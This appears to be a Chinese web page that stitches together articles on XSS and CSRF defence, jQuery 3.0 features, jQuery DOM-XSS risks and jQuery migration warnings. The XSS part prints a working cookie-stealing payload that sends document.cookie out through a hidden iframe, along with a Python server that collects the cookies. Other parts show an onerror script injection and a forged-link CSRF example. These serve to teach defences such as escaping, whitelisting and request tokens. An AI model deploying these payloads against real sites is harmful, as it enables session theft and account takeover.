jquery避免xss（jquery解决了什么问题）
本文目录一览：
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的方法处理，简单的方法就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本最低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问：
标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 QQ 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求方法对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求方法，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的方法来防御 CSRF，这个方法就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现方法非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的方法在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
第一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、淘宝的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个方法看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多方法还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“无耻”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌方法，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的方法，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
jQuery 3.0 有哪些新增特性
1. 移除旧的IE工作区
新的最终版最主要的目标是更加快速，更加时尚，因此，那些支持早于IE9版本的相关技术与工作区都被移除了。这意味着如果你想要或者需要支持IE6-8，你必须用回1.12版本，因为甚至是2.X版本都无法完整支持早于IE9的浏览器。
注意：在jQuery 3中还弃用了一些其它的功能。截止到2016年6月，升级指南还没有提供一个对于弃用功能的分组整理。因此，你如果想要了解弃用功能，可以通过ctrl+f键来进行搜索。
2. jQuery 3.0运行在Strict Mode下
大多数支持jQuery 3的浏览器都支持strict mode，而在本次更新中对此进行了规定。
虽然jQuery 3是写在strict mode中的，但是你需要了解的是你的代码并不需要运行在strict mode中，因此如果你想要把以前的代码迁移到jQuery 3，你不需要对已存在的jQuery代码进行重写。Strict和non-strict mode的JavaScript代码可以和谐共存。
这里有一些例外：某些版本的ASP.NET，因为strict mode的缘故，无法与jQuery 3兼容，
3. 引进for...of循环
jQuery 3支持for...of语句，这是由ECMAScript 6中新引进的一种for循环语句。这提供了对Arrays，Maps和Sets这样的可迭代对象一种更直接的遍历方法。
在jQuery中，for...of循环可以取代以前的$.each(...)语法，并且更容易通过jQuery的元素集合进行循环。
注意：for...of只能在支持ECMAScript 6的环境下或者使用Babel这样的JavaScript编译器下工作。
4. 动画方面采用新的API
jQuery 3使用requestAnimationFrame() API来执行动画，使动画运行得更加顺畅、快速。新的API只用于支持它的浏览器，对于那些更老的浏览器（如IE9）jQuery使用先前的API来作为显示动画的后备方案。
5. 对包含特殊含义的字符串提供转义的新方法
新的jQuery.escapeSelector()提供了对在CSS中存在特殊含义的字符串或字符进行转义的方法，该方法可使这些字符串或字符能够继续用于jQuery选择器中，而无需对那些无法进行正确理解的JavaScript解释器进行转义。
这个示例可以让你更好的了解这个全新的方法：
举个例子，页面中某个ID为“abc.def”的元素由于选择器将其解析为ID为“abc”且包含一个名为“def”的类的对象，而无法被$( "#abc.def" )选定。但是它可以由 $( "#" + $.escapeSelector( "abc.def" ) )来进行选定。
我无法确定发生中情况的频率，但是假如你碰到过这种类似的情况，这无疑给了你一个解决该问题的简单方法。
6. 类操作方法支持SVG
不幸的是，jQuery 3现在还无法完整的支持SVG，但是对于操作CSS类名称的jQuery方法，如.addClass()和.hasClass()现在可以将SVG文档作为目标。这意味着你可以修改（添加、删除、切换）或者查找SVG（可缩放矢量图形）下的jQuery类，然后使用CSS的类样式。
7. 延迟对象现在与JS Promises兼容
JavaScript Promises，用于异步计算的对象，现在在ECMAScript 6中已经被标准化；它们的运行状况和特性的详细说明参见Promises/A+标准。
在jQuery 3中，延迟对象已经与新的Promises/A+标准相兼容，延迟对象已经成为让创建回调队列成为可能的可链对象(chainable objects)。
新的特性改变了异步回调函数执行过程，Promises允许开发者编写在逻辑上与同步代码更接近的异步代码。
8. jQuery.when()对于多种参数的不同解读
$.when()提供了执行回调函数的一种方法，它成为了jQuery 1.5之后的一部分。这个方法非常灵活，它适用于零参数，也适用于一个或者多个作为参数的对象。
jQuery 3改变了当包含$.then()方法时对$.when()中参数的解读方法，你可以对$.when()进行额外的参数回调。
在jQuery 3中，如果你在$.when()中的then()方法内增加一个输入参数，该参数将会被解释成一个可与Promise兼容的"thenable"。
这意味着 $.when方法能够接收更加宽广的输入范围，比如原生的ES6 Promises和Bluebird Promises，这也使得编写更复杂的异步回调成为了可能。
9. 新的显示/隐藏逻辑
为了增加响应式设计的兼容性，与元素显示和隐藏的代码在jQuery 3中进行了更新。
从现在开始，.show()、.hide()和.toggle()方法将会以内联样式为重点取代以前的计算样式，这种方式能够更尊重样式列表的改变。
新的代码尽可能的尊重样式列表中所呈现的数值，这意味着CSS规则可根据事件（如设备重新定位和窗口尺寸调整）进行动态改变。
这个说明文件申明了最重要的结果就是：
“作为结果，断开连接的元素除非指定了内联display: none，否则将不再认定为是隐藏的。因此，在jQuery 3.0中，.toggle()不再对断开连接元素与已连接元素进行区分。”
如果你想要更好的了解关于全新的显示/隐藏逻辑，这个Github discussion会对你有帮助。jQuery开发者还发布了Google文档表来展示在不同用例下新规则的运转。
10. 对于防止XSS攻击的额外保护
jQuery 3增加一个额外的安全层用户用于防备跨站点脚本(XSS)攻击，它需要开发者指定$.ajax()和$.get()方法中的选项为dataType: "script"。
jquery哪个版本没有xss攻击
$
我们经常使用向 $ 内传入一个字符串的方式来选择或生成 DOM 元素，但如果这个字符串是来自用户输入的话，那么这种方式就是有风险的。
先看一个 DEMO：
$("img src='' onerror='alert();'");
当用户输入的字符串是像这样的时，虽然这个 img 元素不会马上被插入到网页的 DOM 中，但这个 DOM
元素已经被创建了，并且暂存在内存里。而对于 img 元素，只要设置了它的 src 属性，浏览器就会马上请求 src
属性所指向的资源。我们也可以利用这个特性做图片的预加载。在上面的示例代码中，创建元素的同时，也设置了它的属性，包括 src 属性和
onerror 事件监听器，所以浏览器会马上请求图片资源，显然请求不到，随机触发 onerror 的回调函数，也就执行了 JavaScript
代码。
推荐阅读 $ 的官方文档：
类似的其他方法
.after()
.append()
.appendTo()
.before()
.html()
.insertAfter()
.insertBefore()
.prepend()
.prependTo()
.replaceAll()
.replaceWith()
.unwrap()
.wrap()
.wrapAll()
.wrapInner()
.prepend()
以上这些方法不仅创建 DOM 元素，并且会马上插入到页面的 DOM 树中。如果使用 script 标签插入了内联 JS 会立即执行。
不安全的输入来源
document.URL *
document.location.pathname *
document.location.href *
document.location.search *
document.location.hash
document.referrer *
window.name
document.cookie
document 的大多数属性都可以通过全局的 window 对象访问到。加 * 的属性返回的时编码 （urlencode） 后的字符串，需要解码才可能造成威胁。
不安全的操作
把可以被用户编辑的字符串，用在以下场景中，都是有隐患的。总体来说，任何把字符串作为可执行的代码的操作，都是不安全的。
1.通过字符串创建函数
（1）eval
（2）new Function
（3）setTimeout/setInterval
2.跳转页面
location.replace/location.assign
修改 script 标签的 src 属性
修改事件监听器
总结
如果发生在用 jQuery 时被 DOM-XSS 攻击的情况，大多是因为忽视了两个东西：
1. 在给$传参数时，对参数来源的把控。
2. 用户的输入途径不只有表单，还有地址栏，还可以通过开发者工具直接修改 DOM ，或者直接在控制台执行 JS 代码。
jQuery版本升级有哪些注意事项
1. 使用了被废弃的jQuery.fn.live方法
jQuery Migrate库对此错误也在控制台有相应的警告：
JQMIGRATE: jQuery.fn.live() is deprecated
live方法原本的作用是设置事件代理，该方法在jQuery 1.7之后就不推荐使用了，取代之的是jQuery.fn.on函数。他们的接口分别是：
$(selector).live('click', function(){/* some code */});$(selector).on('click', [selector,] function(){/* some code */});
乍一看，中括号里面的参数可以省略掉，俩函数不是一模一样么？于是天真地把函数名live直接替换成on，大部分时候，这么做好像没有引起任何异常。但是如果在你调用on函数的时候，前面的$(selector)在当前的网页上根本不匹配任何元素（该元素可能是后面的代码才加到DOM里的），那是不会绑定成功的。事实上，live函数将$(selector)代理到了document元素上，这个元素是肯定存在的，所以不会出现类似情况。正确的替换方法应该是：
$(selector).live('click', function(){/* some code */}); 替换为$(document).on('click', selector, function(){/* some code */});
2. 使用了被废弃的jQuery.fn.die方法
jQuery Migrate对此错误的警告是：
JQMIGRATE: jQuery.fn.die() is deprecated
这个方法和前面的live刚好反过来，取消事件处理函数的绑定。新版本中应该使用off函数代替之，替换方式类似。
3. 使用了被废弃的jQuery.fn.toggle函数
jQuery Migrate对此错误的警告是：
JQMIGRATE: jQuery.fn.toggle(handler, handler...) is deprecated
早期jQuery中名字叫toggle的函数有两个，一个是用于控制元素的显示和隐藏，这个用途的函数目前jQuery中依旧存在；另一个就是上面提到的被废弃的toggle函数，它用于绑定至少两个函数到同一个元素，点击该元素的时候两个函数交替着执行。这两个同名函数功能相差甚远，为了不引起误导，在jQuery
1.8中就不再建议使用了。替换的方式是把两个函数合并成一个函数的if-else两个区段，然后自己设置一个boolean变量，控制每次点击时应该执行哪个区段即可。
4. 使用了被废弃的jQuery.browser属性
jQuery Migrate对此错误的警告是：
JQMIGRATE: jQuery.browser is deprecated
在前端开发中我们经常要根据不同的浏览器版本做出不同的处理，jQuery.browser本来是通过浏览器的userAgent字段来提取浏览器相关信息的。新版本中已经将其废弃，而是建议使用特征检测的方法去判断，并且给了一个Modernizr库作为推荐。不过，改成这个库可能改动成本有点大，如果你还是想沿用jQuery.browser的思路的话，可以自己去实现一下它。例如，判断是不是IE浏览器，可以用
/msie/.test(navigator.userAgent.toLowerCase());
即自己手动获取userAgent字段，并且做一个正则表达式匹配。其他浏览器思路类似，都是对navigator.userAgent做一个正则匹配。
5. $(html)格式书写错误
在jQuery Migrate中，出现以下三种警告中的任何一种，都是属于这个错误：
JQMIGRATE: $(html) HTML strings must start with '' characterJQMIGRATE: $(html) HTML text after last tag is ignoredJQMIGRATE: HTML string cannot start with a '#' character
这个错误还是蛮值得注意的，因为我们文章开头所说的jQuery低版本有XSS漏洞，其实就是和这个错误有关系。在javascript中我们经常会直接将一段html格式的字符串写在jQuery引用里面，比如$('p/p')。按照新版本的jQuery要求，这段html格式的字符串必须是以左尖括号（小于号）开头，其他字符都不可以。以下几种写法，都是错误的：
$(" p/p"); //错误，字符串最开头有一个空格，不是以小于号''开头的$("p/ptest"); //不标准，html标签结束后后面还有多余的"test"，它会被忽略$("#p/p); //错误，以井号开头并且后面并不是一个css选择器
这一点在书写的时候注意一下就可以了，其实还是很容易避免的。其中第三种错误其实就不仅仅是警告了，jQuery会直接抛出一个错误，停止javascript代码的继续执行。一般情况以井号开头，例如$("#test")，其实就是一个普通的选择器，但是上面例子中后面又夹杂着html字符串，这会被jQuery判断为潜在的XSS攻击。
6. jQuery.fn.attr方法的错误使用（这是个非常易犯的错误！）
jQuery Migrate中，关于attr方法的警告有以下这些：
JQMIGRATE: jQuery.fn.attr('value', val) no longer sets propertiesJQMIGRATE: jQuery.fn.attr('value') no longer gets propertiesJQMIGRATE: jQuery.fn.attr('checked') may use property instead of attributeJQMIGRATE: jQuery.fn.attr( props, pass ) is deprecated
实践中我发现，早期写的代码里面，获取一个input输入表单的值时，是怎么获取的呢？$('input').attr('value')；又是怎么设置的呢？$('input').attr('value',
'helloworld')。这在新版本中都是不正确的！正确的做法应该是
$('input').val(); //获取input表单现在所输入的值
$('input').val('helloworld'); //设置input表单输入的值
到底是获取还是设置，只取决于调用val方法时有没有带着参数。
如果你想手动设置单选框（例如input
type="radio" ）被选中，应该怎么设置呢？老的代码里面可能会看到这样 $('input').attr('checked',
true)或者$('input').attr('checked', 'checked')。这些现在也都是不正确的！正确的做法应该是
$('input').prop('checked', true); //把单选框设为选中状态$('input').prop('checked'); //获取单选框是不是被选中了，返回true或false
这是从jQuery
1.6版本开始使用的写法。如果设置disabled和selected属性，也是使用prop方法。那到底什么时候使用attr方法呢？两者的区别是：prop设置的是某元素固有的属性，而attr设置的是写在html标签上的自定义属性。举个例子：
input type="checkbox" checked="checked" haha="hello" var v1 = $('input').prop("checked"); //返回true/false，是否被选中，随状态改变而改变var v2 = $('input').attr("checked"); //返回"checked"，这是你设置在标签上的，不会变var v3 = $('input').attr("haha"); //返回"hello"，自定义属性var v4 = $('input').prop("haha"); //返回undefined，根本没有这个固有属性
上面提到的第四个错误，jQuery.fn.attr(props, pass) is deprecated这个警告在真实项目中从未见到过，看了一下源码，触发该警告的jQuery写法很少见，可忽略。
7. 向$.parseJSON传入了非法的参数
在jQuery Migrate中，该错误产生如下警告
JQMIGRATE: jQuery.parseJSON requires a valid JSON string
jQuery之所以改这个接口，是为了和浏览器自带的JSON.parse接口对齐，从jQuery
1.9开始生效。这个问题常见于AJAX接收服务端返回值的时候。服务端可能返回一个空字符串，这时候调用该接口会产生错误。必须向$.parseJSON传入合法的JSON字符串。修正方法如下：
var v1 = $.parseJSON(str); 替换为var v1 = $.parseJSON( str ? str : "null" );
8. 使用了被废弃的'hover'事件字符串
在jQuery Migrate中该错误产生如下警告
JQMIGRATE: 'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'
在注册事件处理函数时，'hover'以前可以看作是'mouseenter mouseleave'两个事件的别称。目前已经将该别称去掉了，所以代码中请用'mouseenter mouseleave'替换之。
9. jQuery.fn.andSelf已经被替换，不能再使用
jQuery Migrate中是这样的警告：
JQMIGRATE: jQuery.fn.andSelf() replaced by jQuery.fn.addBack()
两个函数功能是完全一样的，可以直接替换。
1. jQuery不兼容浏览器的怪异模式
这个错误的触发方式非常简单，直接把html页面最顶端的!DOCTYPE
html标签删掉就可以了。浏览器怪异模式是为了兼容老古董网页而设计的，详情可参考这篇文章：链接。我想现在的WEB程序员应该不会傻到不写DOCTYPE，也很少使用这种模式下的浏览器吧。
jQuery Migrate展示的错误警告如下：
2. AJAX全局事件必须绑定到document节点上
jQuery Migrate中的警告如下：
JQMIGRATE: AJAX events should be attached to document: ajaxStart
jQuery中AJAX全局事件包括如下接口ajaxStart,
ajaxStop, ajaxSend, ajaxComplete, ajaxError,
ajaxSuccess。因为这些事件使用的比较少，所以也归在少见坑当中。从jQuery
1.9开始，这些事件只能绑定到$(document)上。改正方法如下（摘自jQuery官网）：
$("#status").ajaxStart(function(){ $(this).text("Ajax started"); }); 修改为$(document).ajaxStart(function(){ $("#status").text("Ajax started"); });
3. IE6/7/8浏览器不支持修改input表单的type属性
在jQuery Migrate中是这样的警告：
JQMIGRATE: Can't change the 'type' of an input or button in IE 6/7/8
改变input的表单的type属性，你可以直接把文本框改成单选框，改成多选框等等。虽然我感觉这是一种并不算优雅的行为，但是很多浏览器都是支持这么做的，除了IE6/7/8。建议在实际中也是少用这个功能为好。
4. 使用了被移除的$.clean, $.event.handle, $.attrFn, $.fn.data('events'), jQuery.event.trigger属性与方法
在jQuery Migrate中是这样的警告：
JQMIGRATE: jQuery.clean() is deprecatedJQMIGRATE: jQuery.event.handle is undocumented and deprecatedJQMIGRATE: jQuery.attrFn is deprecatedJQMIGRATE: Use of jQuery.fn.data('events') is deprecatedJQMIGRATE: Global events are undocumented and deprecated
如果你在自己的代码中使用过这五个接口，那确实是仔细研究过jQuery源代码的高人啊。因为这五个接口从来没有出现在jQuery的官方文档中，并且有些在后续版本中已经删除，可谓来无影去无踪。看源代码的话在早期版本有机会找到他们的存在，但是并不建议使用。建议采用其他方法实现相应的功能。什么？你不知道这五个函数是什么功能？那最好了，你现在也不需要知道了……
5. 使用了过时的$.sub()方法
jQuery Migrate中对本问题的警告如下：
JQMIGRATE: jQuery.sub() is deprecated
这个接口非常简单，不接受任何参数。它用来创建一个jQuery的副本。该方法在jQuery 1.7版本开始就已经不再使用。
6. 使用了过时的jQuery.fn.error方法
jQuery Migrate中对本问题的警告如下：
JQMIGRATE: jQuery.fn.error() is deprecated
在jQuery中，error也是和click一样的事件。注册该事件的处理函数，以前是$(selector).error(function(){})，现在已经被废弃，可以使用$(selector).on('error', function(){})来替代。
